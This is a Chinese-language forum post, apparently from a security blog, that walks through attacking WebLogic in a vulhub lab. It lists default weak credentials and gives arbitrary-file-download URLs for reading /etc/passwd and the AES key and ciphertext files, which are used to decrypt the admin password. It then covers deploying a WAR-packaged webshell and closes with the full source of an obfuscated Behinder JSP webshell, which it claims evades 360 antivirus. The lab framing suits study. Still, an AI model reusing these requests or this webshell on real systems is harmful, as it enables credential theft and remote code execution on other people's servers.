8wDlpd.png
8wDFp9.png
8wDEOx.png
8wDMfH.png
8wDKte.png
JBass弱口令及任意文件下载漏洞分析
aiyun 2020-8-24

一、搭建JBass环境

vulhub下载:sudo git clone https://github.com/vulhub/vulhub.git

vulhub是基于docker-compose环境搭建的,里面集成了很多的漏洞版本,例如:

vulhub里面又很很多个漏洞,每一个文件夹代表着一个漏洞

接在来,开始搭建vulhub环境:

搭建vulhub环境需要docker-compose,如果没有docker-compose的话就先下载吧

下载:sudo apt install docker-compose

docker-compose和vulhub都安装完后:

进入到vulhub/weblogic选择,weak_password,弱口令模块

进入到weak_password文件夹后,执行sudo docker-compose build对文件进行编译:

前提是当前文件夹下有docker-compose.yml文件,docker-compose.yml代表着一个漏洞环境,如果没有docker-compose.yml文件在编译的时候会报错

编译完后,执行docker-compose up -d进行自动安装环境,并且后台运行

安装运行完后,使用命令sudo docker ps查看docker正在运行的环境

可以看到已经运行了weblogic环境并且映射了7001端口

打开页面:

在url后面加入/console/login/会自动跳转到登录页面,

Weblogic常见弱口令如下:

User ID Password
system password
admin security
joe password
mary password
system security
wlcsystem wlcsystem
wlpisystem wlpisystem
weblogic Oracle@123
  Oracle123

由于登录次数超过五次后就会限制登录了,所以不要轻易的进行暴力破解

二、利用任意文件下载漏洞破解登录密码

如果网站存在任意文件下载等漏洞,我们还可以通过破解的方式获取密码。

weblogic密码使用AES加密,AES为对称加密方式,如果找到密钥/密文即可解密。

Weblogic将用户的密文与密钥保存在本地

/root/Oracle/Middleware/user_projects/domains/base_domain文件夹中,分别为如下两个文件:

./security/SerializedSystemIni.dat 密钥

./config/config.xml 密文

vulhub测试环境存在一个任意文件下载漏洞:

测试访问/etc/passwd文件

http://192.168.1.112:7001/hello/file.jsp?path=/etc/passwd

下载SerializedSystemIni.dat 密钥:

192.168.1.112:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat

右键保存到本地

下载密文:

http://192.168.1.112:7001/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml

可以直接用浏览器下载

密文-》//找到</node-manager-password-encrypted>字段

然后使用密钥和密文进行解密:

有了密码后就可以登录后台:用户名:weblogic 密码:Oracle@123

工具下载地址:https://github.com/TideSec/Decrypt_Weblogic_Password

三、通过部署功能上传web_Shell

进入后台后,点击部署,然后点击安装:

然后点击文件上传:

这里的一句话要压缩成zip文件格式,然后修规后缀为war再上传:

点击下一步:

再点击下一步:

再点击下一步进行部署:

再点击下一步进行安装:

在点击下一步完成安装:

最后完成安装:

访问shell路径是上下文跟路径+你之前压缩的jsp文件名,而不是压缩包的文件名:

http://192.168.1.112:7001/bq2/bqshell.jsp

使用冰蝎链接:

执行命令:

四、冰蝎连接乱码问题

导致冰蝎连接失败,并且返回一堆乱码,这个很定是shell编码的问题。

刚开始的时候,我是在Ubuntu上面编写的shell,上传后连接老是出现编码问题。

经过一个多小时的排查,把shell放在windows上编写,并且另存为UTF-8编码,然后再传到Ubuntu上面压缩成ZIP文件,然后再后缀名为war,然后再上传到部署页面,然后再用冰蝎去连接就没有问题了!!!

(简单来说就是jsp文件编码要改成utf-8)

命令代码执行:

五、冰蝎jsp一句话

冰蝎工具:https://github.com/rebeyond/Behinder/releases

jsp一句话:听说这个是过360的

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extend\u0073 ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
最新回复 (0)
    • Ai云
      2
        立即登录 立即注册
返回